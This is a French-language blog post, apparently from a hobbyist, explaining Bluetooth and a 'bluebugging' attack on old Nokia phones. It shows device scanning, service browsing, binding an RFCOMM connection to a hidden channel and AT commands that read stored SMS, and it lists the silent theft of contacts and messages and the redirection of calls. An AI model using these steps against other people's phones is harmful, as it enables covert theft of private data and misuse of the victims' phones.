Bluetooth: kécéça ?
Donc au cas ou vous débarquiez tout juste d'un voyage sur la lune, explication de ce qu'est le bluetooth.Le bluetooth est un protocole de communication sans fil (un peu à la sauce WiFi) utilisé pour faire communiquer divers équipements tels que les téléphones, les ordinateurs, les cafetières, les PDA, etc...
Un peu plus de détails.
Le bluetooth utilise la fréquence de 2.4Ghz pour un débit de quelques Mb/s et une portée de 10 à 100m.Chaque périphérique est identifié par une addresse semblable aux adre sses MAC, exemple:
[root@gco]:~binarym# hcitool scan
Scanning ...
00:60:57:4C:70:2E Nokia 6310i
Un canal est dédié aux kits mains libres, un autre pour l'utilisation du modem intégré au téléphone, etc ...
[root@gco]:~binarym# sdptool browse 00:12:62:18:1B:67 |more
Browsing 00:12:62:18:1B:67 ...
Service Name: OBEX Object Push
Service RecHandle: 0x100c4
Service Class ID List:
"OBEX Object Push" (0x1105)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 9
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"OBEX Object Push" (0x1105)
Version: 0x0100
Service Name: OBEX File Transfer
Service RecHandle: 0x100c5
Service Class ID List:
"OBEX File Transfer" (0x1106)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 10
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"OBEX File Transfer" (0x1106)
Version: 0x0100
Service Name: Dial-up networking
Service RecHandle: 0x100c6
Service Class ID List:
"Dialup Networking" (0x1103)
"Generic Networking" (0x1201)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 1
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"Dialup Networking" (0x1103)
Version: 0x0100
Le bluetooth a été pensé pour être sécurisé (hihihi). Ainsi, pour synchroniser le Palm et le téléphone, on doit passer par une phase d'association des deux périphériques (jumelage) ou il sera demandé à chacun des périphériques un code PIN qui devra être identique.
Le hic
Comme toujours quand il s'agit de technologie, le bluetooth, sécurisé sur le papier s'avère être une vulnérable à un certain nombre de failles.Ainsi, un vilain pirate peut, sans que vous le remarquiez :
- télécharger votre répertoire.
- télécharger vos SMS.
- rediriger les appels à destination de votre téléphone vers le sien.
- passer des coups de téléphone via le votre.
Le problème n'est pas toujours le même mais le champ d'action reste grossièrement identique.
Je vais décrire plus précisément le cas du Nokia 6310i.
Comme je vous l'ai montré plus haut, on peut intérroger un équipement pour connaitre les services qu'il propose et les canaux associés.
Sur les Nokia il existe un canal caché (allez savoir pourquoi ...) permettant d'interagir avec le téléphone via des commandes AT.
Ce canal est le 18 ou le 19 selon les cas. Une fois connecté à ce canal, le champ d'action est vaste.
Voyons en détail l'exploitation. Les prérequis sont:
- Un ordinateur équipé d'un périphérique bluetooth (et ouai, j'ai essayé avec ma cafetière mais pas réussi !)
- Un linux/*BSD (Peut etre existe il des outils sous windows mais j'irai pas chercher pour vous) correctement configuré (stack bluetooth au niveau du noyau).
- bluez-hcidump - Analyses Bluetooth HCI packets tools
- bluez-pin - Bluetooth PIN helper with D-BUS support
- bluez-utils - Bluetooth tools and daemons
- hcitool pour découvrir les périphériques présents et leurs adresses.
- sdptool pour découvrir les services offerts par les périphériques.
- rfcomm pour établir la connexion avec la cible et rattacher un terminal à cette connexion.
[root@gco]:/home/binarym# hcitool scan
Scanning ...
00:60:57:4C:70:2E Nokia 6310i
[root@gco]:/home/binarym# rfcomm bind /dev/rfcomm1 00:60:57:4C:70:2E 17
[root@gco]:/home/binarym# rfcomm show
rfcomm1: 00:60:57:4C:70:2E channel 17 clean
Exemple sur mon téléphone:
Welcome to minicom 2.1
OPTIONS: History Buffer, F-key Macros, Search History Buffer, I18n
Compiled on Nov 12 2003, 19:21:57.
Press CTRL-A Z for help on special keys
OK
AT+GMM
Nokia 6230
OK
AT+CMGR=3D2
+CMGR: "REC READ","+3367001xxxx",,"05/01/12,01:05:30+04"
pirate :)
OK
L'exploitation comme on le constate est assez triviale.
Maintenant, je vais pas tout vous expliquer non plus, donc comme on dit du coté de chez moi, RTFM !
La sécurité du bluetooth:
http://www.betaversion.net/btdsd/
http://www.thebunker.net/security/bluetooth.htm
http://trifinite.org/trifinite_stuff_blue
http://trifinite.org/trifinite_org.htmlbug.html
De nombreux outils d'exploitation existent sur le net. Certains en C, d'autres en Java ME (pour jouer directement depuis votre téléphone).
Par contre, ils n'ont pas l'air d'etre très fiables: je n'ai pas réussi à utiliser ceux écrit en C sur mon linux, et bloover de trinifite.org ne semble pas fonctionner sur mon téléphone (Nokia 6230).
